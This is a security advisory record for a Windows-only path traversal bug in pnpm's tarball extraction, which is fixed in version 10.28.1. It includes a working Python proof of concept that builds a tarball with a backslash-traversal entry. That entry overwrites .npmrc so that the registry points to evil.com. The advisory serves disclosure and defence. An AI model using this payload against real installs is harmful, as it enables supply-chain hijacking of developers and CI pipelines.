{"id":"GHSA-6x96-7vc8-cm3p","summary":"pnpm has Windows-specific tarball Path Traversal","details":"### Summary\nA path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal.\n\n**This vulnerability is Windows-only.**\n\n### Details\n**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**\n\n```typescript\nif (fileName.includes('./')) {\n  fileName = path.posix.join('/', fileName).slice(1)\n}\n```\n\nA path like `foo\\..\\..\\.npmrc` does NOT contain `./` and bypasses this check.\n\n**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**\n\n- On Unix: Backslashes are literal filename characters (safe)\n- On Windows: Backslashes are directory separators (exploitable)\n\n### PoC\n1. Create a malicious tarball with entry `package/foo\\..\\..\\.npmrc`\n2. Host it or use as a tarball URL dependency\n3. On Windows: `pnpm install`\n4. Observe `.npmrc` written outside package directory\n\n```python\nimport tarfile, io\n\ntar_buffer = io.BytesIO()\nwith tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:\n    pkg_json = b'{\"name\": \"malicious-pkg\", \"version\": \"1.0.0\"}'\n    pkg_info = tarfile.TarInfo(name='package/package.json')\n    pkg_info.size = len(pkg_json)\n    tar.addfile(pkg_info, io.BytesIO(pkg_json))\n\n    malicious_content = b'registry=https://evil.com/\\n'\n    mal_info = tarfile.TarInfo(name='package/foo\\\\..\\\\..\\\\.npmrc')\n    mal_info.size = len(malicious_content)\n    tar.addfile(mal_info, io.BytesIO(malicious_content))\n\nwith open('malicious-pkg-1.0.0.tgz', 'wb') as f:\n    f.write(tar_buffer.getvalue())\n```\n\n### Impact\n- Windows pnpm users\n- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)\n- Can overwrite `.npmrc`, build configs, or other files\n\nVerified on pnpm main @ commit 5a0ed1d45.","aliases":["CVE-2026-23889"],"modified":"2026-02-03T03:06:05.518233Z","published":"2026-01-26T21:02:44Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-01-26T21:02:44Z","nvd_published_at":"2026-01-26T22:15:56Z"},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23889"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.1"}],"affected":[{"package":{"name":"pnpm","ecosystem":"npm","purl":"pkg:npm/pnpm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.28.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-6x96-7vc8-cm3p/GHSA-6x96-7vc8-cm3p.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}